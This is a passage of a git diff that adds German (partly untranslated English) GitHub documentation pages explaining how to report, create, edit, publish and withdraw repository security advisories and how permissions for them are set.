+  ![Schaltfläche „Pull Requests mergen“](/assets/images/help/security/merge-pull-requests-button.png)
+
+Nach dem Zusammenführen von Änderungen in einem Sicherheitshinweis kannst Du den Hinweis veröffentlichen, um Deine Community vor der Sicherheitslücke in früheren Versionen Deines Projekts zu warnen. Weitere Informationen findest du unter [Veröffentlichen eines Repositorysicherheitshinweises](/code-security/repository-security-advisories/publishing-a-repository-security-advisory).
+
+## Weiterführende Themen
+
+- [Berechtigungsstufen für Repositorysicherheitshinweise](/code-security/repository-security-advisories/permission-levels-for-repository-security-advisories)
+- [Veröffentlichen eines Repositorysicherheitshinweises](/code-security/repository-security-advisories/publishing-a-repository-security-advisory)
diff --git a/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository.md b/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository.md
new file mode 100644
index 0000000000..bf797baba1
--- /dev/null
+++ b/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository.md
@@ -0,0 +1,44 @@
+---
+title: Configuring private vulnerability reporting for a repository
+intro: Owners and administrators of public repositories can allow security researchers to report vulnerabilities securely in the repository by enabling private vulnerability reporting.
+permissions: 'Anyone with admin permissions to a public repository can enable and disable private vulnerability reporting for the repository.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+miniTocMaxHeadingLevel: 3
+topics:
+  - Security advisories
+  - Vulnerabilities
+shortTitle: Configure private vulnerability reporting
+---
+
+{% data reusables.security-advisory.private-vulnerability-reporting-beta %}
+
+## About privately reporting a security vulnerability
+
+Security researchers often feel responsible for alerting users to a vulnerability that could be exploited. If there are no clear instuctions about contacting maintainers of the repository containing the vulnerability, security researchers may have no other choice but to post about the vulnerability on social media, send direct messages to the maintainer, or even create public issues. This situation can potentially lead to a public disclosure of the vulnerability details.
+
+{% data reusables.security-advisory.private-vulnerability-reporting-overview %}
+
+For maintainers, the benefits of using private vulnerability reporting are: 
+- Less risk of being contacted publicly, or via undesired means.
+- Receive reports in the same platform you resolve them in for simplicity
+- The security researcher creates or at least initiates the advisory report on the behalf of maintainers.
+- Maintainers receive reports in the same platform as the one used to discuss and resolve the advisories.
+- Vulnerability less likely to be in the public eye.
+- The opportunity to discuss vulnerability details privately with security researchers and collaborate on the patch.
+
+## Enabling or disabling private vulnerability reporting for a repository
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.navigate-to-code-security-and-analysis %}
+1. Under "Code security and analysis", to the right of "Private vulnerability reporting", click **Enable** or **Disable**, to enable or disable the feature, respectively.
+
+ ![Screenshot of the "Code security and analysis" page with the "Enable" button emphasized for private vulnerability reporting](/assets/images/help/security/private-vulnerability-reporting-enable-or-disable.png)
+
+When a maintainer enables private security reporting for their repository, security researchers will see a new button in the **Advisories** page of the repository. The security researcher can click this button to privately report a security vulnerability to the repository maintainer. 
+
+ ![Screenshot showing the "Report a vulnerability" button](/assets/images/help/security/report-a-vulnerability-button.png)
+   
diff --git a/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/creating-a-repository-security-advisory.md b/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/creating-a-repository-security-advisory.md
new file mode 100644
index 0000000000..ea149e939c
--- /dev/null
+++ b/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/creating-a-repository-security-advisory.md
@@ -0,0 +1,45 @@
+---
+title: Erstellen einer Sicherheitsempfehlung für ein Repository
+intro: 'Du kannst einen Entwurf eines Sicherheitshinweises erstellen, um privat über die Sicherheitslücke in Deinem Open-Source-Projekt zu diskutieren und sie zu beheben.'
+redirect_from:
+  - /articles/creating-a-maintainer-security-advisory
+  - /github/managing-security-vulnerabilities/creating-a-maintainer-security-advisory
+  - /github/managing-security-vulnerabilities/creating-a-security-advisory
+  - /code-security/security-advisories/creating-a-security-advisory
+  - /code-security/repository-security-advisories/creating-a-repository-security-advisory
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Security advisories
+  - Vulnerabilities
+shortTitle: Create repository advisories
+ms.openlocfilehash: de22432173f6bf909d001a3f780b0f9943769ec0
+ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: '148114037'
+---
+Jeder, der über Administratorberechtigungen für ein Repository verfügt, kann einen Sicherheitshinweis erstellen.
+
+{% data reusables.security-advisory.security-researcher-cannot-create-advisory %}
+
+## Erstellen einer Sicherheitsempfehlung
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %}
+4. Klicke auf **Neue Sicherheitsempfehlung entwerfen**, um das Entwurfsformular für Empfehlungen zu öffnen.
+  ![Schaltfläche „Entwurf für Empfehlung öffnen“](/assets/images/help/security/security-advisory-new-draft-security-advisory-button.png)
+5. Gib einen Titel für den Sicherheitshinweis ein.
+{% data reusables.repositories.security-advisory-edit-details %} {% data reusables.repositories.security-advisory-edit-severity %} {% data reusables.repositories.security-advisory-edit-cwe-cve %} {% data reusables.repositories.security-advisory-edit-description %}
+11. Klicke auf **Entwurf für Sicherheitsempfehlung erstellen**.
+  ![Schaltfläche „Sicherheitsempfehlung erstellen“](/assets/images/help/security/security-advisory-create-security-advisory-button.png)
+
+## Nächste Schritte
+
+- Du kannst Den Entwurf des Sicherheitshinweises kommentieren, um die Schwachstelle mit Deinem Team zu diskutieren.
+- Füge Mitarbeiter zum Sicherheitshinweis hinzu. Weitere Informationen findest du unter [Hinzufügen eines Mitarbeiters zu einer Sicherheitsempfehlung für ein Repository](/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory).
+- Privat mit anderen zusammenarbeiten, um die Schwachstelle in einem temporären privaten Fork zu beheben. Weitere Informationen findest du unter [Zusammenarbeit in einem temporären privaten Fork, um eine Sicherheitslücke im Repository zu beheben](/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability).
+- Füge Personen hinzu, die eine Anerkennung für einen Beitrag zur Sicherheitsempfehlung erhalten sollen. Weitere Informationen findest du unter [Bearbeiten einer Sicherheitsempfehlung für ein Repository](/code-security/repository-security-advisories/editing-a-repository-security-advisory#about-credits-for-security-advisories).
+- Veröffentliche den Sicherheitshinweis, um Deine Community über die Sicherheitslücke zu informieren. Weitere Informationen findest du unter [Veröffentlichen einer Sicherheitsempfehlung für ein Repository](/code-security/repository-security-advisories/publishing-a-repository-security-advisory).
diff --git a/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/editing-a-repository-security-advisory.md b/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/editing-a-repository-security-advisory.md
new file mode 100644
index 0000000000..b328e05146
--- /dev/null
+++ b/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/editing-a-repository-security-advisory.md
@@ -0,0 +1,49 @@
+---
+title: Bearbeiten einer Sicherheitsempfehlung für ein Repository
+intro: 'Du kannst die Metadaten und die Beschreibung für einen Sicherheitshinweis zu einem Repository bearbeiten, wenn du Details aktualisieren oder Fehler korrigieren musst.'
+redirect_from:
+  - /github/managing-security-vulnerabilities/editing-a-security-advisory
+  - /code-security/security-advisories/editing-a-security-advisory
+  - /code-security/repository-security-advisories/editing-a-repository-security-advisory
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Security advisories
+  - Vulnerabilities
+shortTitle: Edit repository advisories
+ms.openlocfilehash: db25b39285c65cd1ba83e1a2b6e76e7ec0d6e3e4
+ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: '148114045'
+---
+Personen mit Administratorberechtigungen für Sicherheitsempfehlungen für ein Repository können die Empfehlung bearbeiten.
+
+{% data reusables.security-advisory.repository-level-advisory-note %}
+
+## Informationen zu Anerkennungen für Sicherheitsempfehlungen
+
+Du kannst Personen, die beim Entdecken, Melden oder Beheben eines Sicherheitsrisikos geholfen, eine Anerkennung zuweisen. Wenn du jemandem eine Anerkennung zuteil werden lässt, kann diese Person entscheiden, ob sie die Anerkennung annimmt oder ablehnt.
+
+Wenn die Person die Anerkennung annimmt, wird ihr Benutzername im Abschnitt „Anerkennungen“ der Sicherheitsempfehlung angezeigt. Alle Personen mit Lesezugriff auf das Repository können die Sicherheitsempfehlung sowie diejenigen Personen sehen, die eine Anerkennung angenommen haben.
+
+Wenn du der Meinung bist, eine Anerkennung für eine Sicherheitsempfehlung verdient zu haben, wende dich an die Person, die die Empfehlung erstellt hat, und bitte sie, deine Anerkennung in die Empfehlung aufzunehmen. Nur die Person, die eine Empfehlung erstellt hat, kann die Anerkennung zuweisen. Wende dich daher nicht an den GitHub-Support, wenn es um Anerkennungen für Sicherheitsempfehlungen geht.
+
+## Einen Sicherheitshinweis bearbeiten
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %}
+4. Klicke in der Liste „Security Advisories“ (Sicherheitshinweise) auf den Hinweis, den du bearbeiten möchtest.
+5. Klicke in der rechten oberen Ecke der Details zur Sicherheitsempfehlung auf {% octicon "pencil" aria-label="The edit icon" %}. Dadurch wird das Formular für Sicherheitsempfehlungen im Bearbeitungsmodus geöffnet.
+  ![Bearbeitungsschaltfläche für eine Sicherheitsempfehlung](/assets/images/help/security/security-advisory-edit-button.png) {% data reusables.repositories.security-advisory-edit-details %} {% data reusables.repositories.security-advisory-edit-severity %} {% data reusables.repositories.security-advisory-edit-cwe-cve %} {% data reusables.repositories.security-advisory-edit-description %}
+11. Du kannst die Anerkennungen für die Sicherheitsempfehlung auch bearbeiten.
+  ![Anerkennung für eine Sicherheitsempfehlung](/assets/images/help/security/security-advisory-credits.png)
+12. Klicke auf **Sicherheitsempfehlung aktualisieren**.
+  ![Schaltfläche „Sicherheitsempfehlung aktualisieren“](/assets/images/help/security/update-advisory-button.png)
+13. Die Personen, die im Abschnitt „Anerkennungen“ aufgeführt sind, erhalten eine E-Mail oder Webbenachrichtigung, in der sie eingeladen werden, diese zu akzeptieren. Wenn eine Person akzeptiert, wird ihr Benutzername öffentlich sichtbar, sobald die Sicherheitsempfehlung veröffentlicht wird.
+
+## Weitere Informationsquellen
+
+- [Zurückziehen einer Sicherheitsempfehlung für ein Repository](/code-security/repository-security-advisories/withdrawing-a-repository-security-advisory)
diff --git a/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/index.md b/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/index.md
new file mode 100644
index 0000000000..64cf695670
--- /dev/null
+++ b/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/index.md
@@ -0,0 +1,35 @@
+---
+title: Arbeiten mit Sicherheitsempfehlungen für Repositorys
+shortTitle: Repository security advisories
+intro: 'Diskutieren, Beheben und Offenlegen von Sicherheitsrisiken in deinen Repositorys mithilfe von Repositorysicherheitshinweisen.'
+redirect_from:
+  - /articles/managing-security-vulnerabilities-in-your-project
+  - /github/managing-security-vulnerabilities/managing-security-vulnerabilities-in-your-project
+  - /code-security/repository-security-advisories
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Security advisories
+  - Vulnerabilities
+  - Repositories
+  - CVEs
+children:
+  - /about-repository-security-advisories
+  - /permission-levels-for-repository-security-advisories
+  - /configuring-private-vulnerability-reporting-for-a-repository
+  - /creating-a-repository-security-advisory
+  - /editing-a-repository-security-advisory
+  - /collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability
+  - /publishing-a-repository-security-advisory
+  - /adding-a-collaborator-to-a-repository-security-advisory
+  - /removing-a-collaborator-from-a-repository-security-advisory
+  - /withdrawing-a-repository-security-advisory
+ms.openlocfilehash: 81de06dcbe130eedcbf9dbd4dedb7e21dae5db79
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148159021'
+---
+
diff --git a/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/permission-levels-for-repository-security-advisories.md b/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/permission-levels-for-repository-security-advisories.md
new file mode 100644
index 0000000000..3f084fd70e
--- /dev/null
+++ b/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/permission-levels-for-repository-security-advisories.md
@@ -0,0 +1,51 @@
+---
+title: Berechtigungsstufen für Sicherheitsempfehlungen für ein Repository
+intro: 'Deine Aktionen in einer Sicherheitsempfehlung hängen davon ab, ob Du Administrator- oder Schreibberechtigungen für die Sicherheitsempfehlung hast.'
+redirect_from:
+  - /articles/permission-levels-for-maintainer-security-advisories
+  - /github/managing-security-vulnerabilities/permission-levels-for-maintainer-security-advisories
+  - /github/managing-security-vulnerabilities/permission-levels-for-security-advisories
+  - /code-security/security-advisories/permission-levels-for-security-advisories
+  - /code-security/repository-security-advisories/permission-levels-for-repository-security-advisories
+versions:
+  fpt: '*'
+  ghec: '*'
+type: reference
+topics:
+  - Security advisories
+  - Vulnerabilities
+  - Permissions
+shortTitle: Permission levels
+ms.openlocfilehash: f4195822de121780f1629fda3d646170d4c4e566
+ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: '148114049'
+---
+Dieser Artikel gilt nur für Sicherheitsempfehlungen auf Repositoryebene. Alle Personen können zu globalen Sicherheitsempfehlungen in der {% data variables.product.prodname_advisory_database %} unter [github.com/advisories](https://github.com/advisories) beitragen. Die Bearbeitung globaler Empfehlungen hat keine Auswirkungen auf die Darstellung der Empfehlung im Repository.  Weitere Informationen findest du unter [Bearbeiten von Sicherheitsempfehlungen in {% data variables.product.prodname_advisory_database %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/editing-security-advisories-in-the-github-advisory-database).
+
+## Zuweisen von Benutzerrollen und Berechtigungen
+
+{% data reusables.repositories.security-advisory-admin-permissions %} Weitere Informationen zum Hinzufügen von Mitarbeitern zu einer Sicherheitsempfehlung findest du unter [Hinzufügen eines Mitarbeiters zu einer Sicherheitsempfehlung für ein Repository](/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory).
+
+Aktion | Schreib-berechtigungen | Administrator-berechtigungen |
+------ | ----------------- | ----------------- |
+Entwurf eines Sicherheitshinweises ansehen | X | X |
+Hinzufügen von Mitarbeitern zur Sicherheitsempfehlung (siehe [Hinzufügen eines Mitarbeiters zu einer Sicherheitsempfehlung für ein Repository](/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory)) | | X |
+Kommentare im Sicherheitshinweis bearbeiten und löschen | X | X |
+Erstellen eines temporären Forks in der Sicherheitsempfehlung (siehe [Zusammenarbeit in einem temporären privaten Fork, um eine Sicherheitslücke im Repository zu beheben](/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability)) | | X |
+Hinzufügen von Änderungen zu einem temporären Fork in der Sicherheitsempfehlung (siehe [Zusammenarbeit in einem temporären privaten Fork, um eine Sicherheitslücke im Repository zu beheben](/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability)) | X | X |
+Erstellen von Pull Requests in einem temporären privaten Fork (siehe [Zusammenarbeit in einem temporären privaten Fork, um eine Sicherheitslücke im Repository zu beheben](/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability)) | X | X |
+Mergen von Änderungen in der Sicherheitsempfehlung (siehe [Zusammenarbeit in einem temporären privaten Fork, um eine Sicherheitslücke im Repository zu beheben](/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability)) | | X |
+Hinzufügen und Bearbeiten von Metadaten in der Sicherheitsempfehlung (siehe [Veröffentlichen einer Sicherheitsempfehlung für ein Repository](/code-security/repository-security-advisories/publishing-a-repository-security-advisory)) | X | X |
+Hinzufügen und Entfernen von Anerkennungen für eine Sicherheitsempfehlung (siehe [Bearbeiten einer Sicherheitsempfehlung für ein Repository](/code-security/repository-security-advisories/editing-a-repository-security-advisory)) | X | X |
+Den Entwurf des Sicherheitshinweises schließen | | X |
+Veröffentlichen der Sicherheitsempfehlung (siehe [Veröffentlichen einer Sicherheitsempfehlung für ein Repository](/code-security/repository-security-advisories/publishing-a-repository-security-advisory)) | | X |
+
+## Weitere Informationsquellen
+
+- [Hinzufügen eines Mitarbeiters zu einer Sicherheitsempfehlung für ein Repository](/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory)
+- [Zusammenarbeit in einem temporären privaten Fork, um eine Sicherheitslücke im Repository zu beheben](/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability)
+- [Entfernen eines Mitarbeiters aus einer Sicherheitsempfehlung für ein Repository](/code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory)
+- [Zurückziehen einer Sicherheitsempfehlung für ein Repository](/code-security/repository-security-advisories/withdrawing-a-repository-security-advisory)
diff --git a/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/publishing-a-repository-security-advisory.md b/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/publishing-a-repository-security-advisory.md
new file mode 100644
index 0000000000..16600a04f1
--- /dev/null
+++ b/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/publishing-a-repository-security-advisory.md
@@ -0,0 +1,102 @@
+---
+title: Veröffentlichen einer Sicherheitsempfehlung für ein Repository
+intro: 'Du kannst einen Sicherheitshinweis veröffentlichen, um Deine Community über eine Sicherheitslücke in Deinem Projekt zu informieren.'
+redirect_from:
+  - /articles/publishing-a-maintainer-security-advisory
+  - /github/managing-security-vulnerabilities/publishing-a-maintainer-security-advisory
+  - /github/managing-security-vulnerabilities/publishing-a-security-advisory
+  - /code-security/security-advisories/publishing-a-security-advisory
+  - /code-security/repository-security-advisories/publishing-a-repository-security-advisory
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Security advisories
+  - Vulnerabilities
+  - CVEs
+  - Repositories
+shortTitle: Publish repository advisories
+ms.openlocfilehash: 17d98e3027c0968f21107ccefdb70fbebca67a35
+ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: '148114024'
+---
+<!--Marketing-LINK: From /features/security/software-supply-chain page "Publishing a security advisory".-->
+
+Personen mit Administratorberechtigungen für einen Sicherheitshinweis können den Hinweis veröffentlichen.
+
+{% data reusables.security-advisory.repository-level-advisory-note %}
+
+## Voraussetzungen
+
+Bevor Du einen Sicherheitshinweis veröffentlichen oder eine CVE-Identifikationsnummer anfordern kannst, musst Du einen Entwurf des Sicherheitshinweises erstellen und Informationen über die Versionen Deines Projekts bereitstellen, die von der Sicherheitslücke betroffen sind. Weitere Informationen findest du unter [Erstellen einer Sicherheitsempfehlung für ein Repository](/code-security/repository-security-advisories/creating-a-repository-security-advisory).
+
+Wenn Du einen Sicherheitshinweis erstellt hast, aber noch keine Details über die Versionen Deines Projekts angegeben hast, die von der Sicherheitslücke betroffen sind, kannst Du den Sicherheitshinweis bearbeiten. Weitere Informationen findest du unter [Bearbeiten einer Sicherheitsempfehlung für ein Repository](/code-security/repository-security-advisories/editing-a-repository-security-advisory).
+
+## Über das Veröffentlichen eines Sicherheitshinweises
+
+Wenn Du einen Sicherheitshinweis veröffentlichst, informierst Du Deine Community über die Sicherheitslücke, die im Sicherheitshinweis adressiert wird. Die Veröffentlichung eines Sicherheitshinweises erleichtert es Deiner Community, die Paket-Abhängigkeiten zu aktualisieren und die Auswirkungen der Sicherheitslücke zu untersuchen.
+
+{% data reusables.repositories.security-advisories-republishing %}
+
+Bevor Du einen Sicherheitshinweis veröffentlichst, kannst Du privat mit anderen zusammenarbeiten, um die Sicherheitslücke in einem temporären privaten Fork zu beheben. Weitere Informationen findest du unter [Zusammenarbeit in einem temporären privaten Fork, um eine Sicherheitslücke im Repository zu beheben](/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability).
+
+{% warning %}
+
+**Warnung**: Nach Möglichkeit solltest du einer Sicherheitsempfehlung immer einen Fix zur Korrektur hinzufügen, bevor du die Empfehlung veröffentlichst. Andernfalls wird die Empfehlung ohne eine korrigierte Version veröffentlicht, und {% data variables.product.prodname_dependabot %} informiert deine Benutzer über das Problem, ohne ihnen eine sichere Version zum Update anzubieten.
+
+Wir empfehlen dir, in verschiedenen Situationen die folgenden Schritte zu unternehmen:
+
+- Wenn in Kürze eine Korrekturversion zur Verfügung steht und es für dich möglich ist, warte mit der Meldung des Problems, bis der Fix zur Verfügung steht.
+- Wenn sich eine Korrekturversion in der Entwicklung befindet, aber noch nicht verfügbar ist, erwähne dies in der Empfehlung und bearbeite die Empfehlung nach der Veröffentlichung des Fixes.
+- Wenn keine Behebung des Problems geplant ist, solltest du das in der Empfehlung klar zum Ausdruck bringen, damit sich deine Benutzer nicht mit der Frage an dich wenden, wann ein Fix veröffentlicht wird. In diesem Fall ist es hilfreich, Schritte anzugeben, mit denen die Benutzer das Problem entschärfen können.
+
+{% endwarning %}
+
+Wenn du einen Entwurf für eine Empfehlung aus einem öffentlichen Repository veröffentlichst, sind die folgenden Informationen für alle sichtbar:
+
+- Die aktuelle Version der Empfehlungsdaten.
+- Alle Empfehlungsgutschriften, die Benutzer mit Gutschriften angenommen haben.
+  
+{% note %}
+
+**Anmerkung**: Die Öffentlichkeit hat keinen Zugriff auf die Bearbeitungsverlauf der Empfehlung, sondern sieht nur die veröffentlichte Version.
+
+{% endnote %}
+
+Die Veröffentlichung eines Sicherheitshinweises verändert die URL für diesen Sicherheitshinweis nicht, sie bleibt gleich wie vor der Veröffentlichung. Personen mit Lesezugriff auf ein Repository können Sicherheitshinweise sehen. Mitwirkende an der Sicherheitsempfehlung können auch weiterhin frühere Unterhaltungen, einschließlich sämtlicher Kommentare, in der Sicherheitsempfehlung einsehen, es sei denn, ein Administrator entfernt den Mitwirkenden aus der Sicherheitsempfehlung. 
+
+Wenn Du Informationen in einem von Dir veröffentlichten Sicherheitshinweis aktualisieren oder korrigieren musst, kannst Du den Hinweis bearbeiten. Weitere Informationen findest du unter [Bearbeiten einer Sicherheitsempfehlung für ein Repository](/code-security/repository-security-advisories/editing-a-repository-security-advisory).
+
+## Einen Sicherheitshinweis veröffentlichen
+
+Die Veröffentlichung eines Sicherheitshinweises löscht den temporären privaten Fork für den Sicherheitshinweis.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %}
+4. Klicke in der Liste „Security Advisories“ (Sicherheitshinweise) auf den Hinweis, den Du veröffentlichen möchtest.
+  ![Sicherheitsempfehlung in einer Liste](/assets/images/help/security/security-advisory-in-list.png)
+5. Klicke unten auf der Seite auf **Empfehlung veröffentlichen**.
+  ![Schaltfläche „Empfehlung veröffentlichen“](/assets/images/help/security/publish-advisory-button.png)
+  
+## {% data variables.product.prodname_dependabot_alerts %} for published security advisories
+
+{% data reusables.repositories.github-reviews-security-advisories %}
+
+## Anfordern einer CVE-Identifikationsnummer (optional)
+
+{% data reusables.repositories.request-security-advisory-cve-id %} Weitere Informationen findest du unter [Informationen zu Sicherheitsempfehlungen für Repositorys](/code-security/repository-security-advisories/about-github-security-advisories-for-repositories#cve-identification-numbers).
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %}
+4. Klicke in der Liste „Security Advisories" (Sicherheitshinweise) auf den Hinweis für den Du eine CVE-Identifikationsnummer anfordern möchtest.
+  ![Sicherheitsempfehlung in einer Liste](/assets/images/help/security/security-advisory-in-list.png)
+5. Verwende das Dropdownmenü **Empfehlung veröffentlichen**, und klicke auf **CVE anfordern**.
+  ![Anfordern einer CVE-Identifikationsnummer im Dropdownmenü](/assets/images/help/security/security-advisory-drop-down-request-cve.png)
+6. Klicke auf **CVE anfordern**.
+  ![Schaltfläche „CVE anfordern“](/assets/images/help/security/security-advisory-request-cve-button.png)
+
+## Weiterführende Themen
+
+- [Zurückziehen einer Sicherheitsempfehlung für ein Repository](/code-security/repository-security-advisories/withdrawing-a-repository-security-advisory)
diff --git a/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory.md b/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory.md
new file mode 100644
index 0000000000..8a05cce688
--- /dev/null
+++ b/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory.md
@@ -0,0 +1,43 @@
+---
+title: Entfernen eines Mitarbeiters aus einer Sicherheitsempfehlung für ein Repository
+intro: 'Wenn du Projektmitarbeiter*innen aus einer Repositorysicherheitsempfehlung entfernst, verlieren sie Lese- und Schreibzugriff auf die Diskussionen und Metadaten der Sicherheitsempfehlung.'
+redirect_from:
+  - /github/managing-security-vulnerabilities/removing-a-collaborator-from-a-security-advisory
+  - /code-security/security-advisories/removing-a-collaborator-from-a-security-advisory
+  - /code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Security advisories
+  - Vulnerabilities
+  - Collaboration
+shortTitle: Remove collaborators
+ms.openlocfilehash: 77c21bea9c593935ee1b92028fc52859320f5a38
+ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: '148114042'
+---
+Personen mit Administratorberechtigungen für einen Sicherheitshinweis können Mitarbeiter aus Sicherheitshinweisen entfernen.
+
+{% data reusables.security-advisory.repository-level-advisory-note %}
+
+## Einen Mitarbeiter aus einem Sicherheitshinweis entfernen
+
+{% data reusables.repositories.security-advisory-collaborators-public-repositories %}
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %}
+4. Klicke in der Liste „Security Advisories“ (Sicherheitshinweise) auf den Hinweis, von dem du einen Mitarbeiter entfernen möchtest.
+  ![Sicherheitsempfehlung in der Liste](/assets/images/help/security/security-advisory-in-list.png)
+5. Suche auf der rechten Seite unter "Collaborators" (Mitarbeiter) den Namen des Benutzers oder Teams, das du aus dem Sicherheitshinweis entfernen möchtest.
+  ![Mitarbeiter in Sicherheitsempfehlung](/assets/images/help/security/security-advisory-collaborator.png)
+6. Klicke neben dem Mitarbeiter, den du entfernen möchtest, auf das **X**-Symbol .
+  ![X-Symbol zum Entfernen von Mitarbeitern aus Sicherheitsempfehlungen](/assets/images/help/security/security-advisory-remove-collaborator-x.png)
+
+## Weitere Informationsquellen
+
+- [Berechtigungsstufen für Sicherheitsempfehlungen für Repositorys](/code-security/repository-security-advisories/permission-levels-for-repository-security-advisories)
+- [Hinzufügen eines Mitarbeiters zu einer Sicherheitsempfehlung für ein Repository](/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory)
diff --git a/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/withdrawing-a-repository-security-advisory.md b/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/withdrawing-a-repository-security-advisory.md
new file mode 100644
index 0000000000..3002a670c7
--- /dev/null
+++ b/translations/de-DE/content/code-security/security-advisories/repository-security-advisories/withdrawing-a-repository-security-advisory.md
@@ -0,0 +1,29 @@
+---
+title: Zurückziehen einer Sicherheitsempfehlung für ein Repository
+intro: Du kannst eine veröffentlichte Repositorysicherheitsempfehlung auch wieder zurückziehen.
+redirect_from:
+  - /github/managing-security-vulnerabilities/withdrawing-a-security-advisory
+  - /code-security/security-advisories/withdrawing-a-security-advisory
+  - /code-security/repository-security-advisories/withdrawing-a-repository-security-advisory
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Security advisories
+  - Vulnerabilities
+shortTitle: Withdraw repository advisories
+ms.openlocfilehash: 71a6560c463384b032546b824e5f4294ced568e5
+ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: '148114017'
+---
+{% data reusables.security-advisory.repository-level-advisory-note %}
+
+Wenn du einen Sicherheitshinweis fälschlicherweise veröffentlichst, kannst du den Hinweis zurückziehen, indem du {% data variables.contact.contact_support %} kontaktierst.
+
+## Weitere Informationsquellen
+
+- [Bearbeiten einer Sicherheitsempfehlung für ein Repository](/code-security/repository-security-advisories/editing-a-repository-security-advisory)
diff --git a/translations/de-DE/content/code-security/security-overview/about-the-security-overview.md b/translations/de-DE/content/code-security/security-overview/about-the-security-overview.md
new file mode 100644
index 0000000000..29b36286e4
--- /dev/null
+++ b/translations/de-DE/content/code-security/security-overview/about-the-security-overview.md
@@ -0,0 +1,133 @@
+---
+title: About the security overview
+intro: 'You can view, filter, and sort security alerts for repositories owned by your organization or team in the security overview pages.'
+permissions: '{% data reusables.security-overview.permissions %}'
+product: '{% data reusables.gated-features.security-overview %}'
+redirect_from:
+  - /code-security/security-overview/exploring-security-alerts
+versions:
+  fpt: '*'
+  ghae: '*'
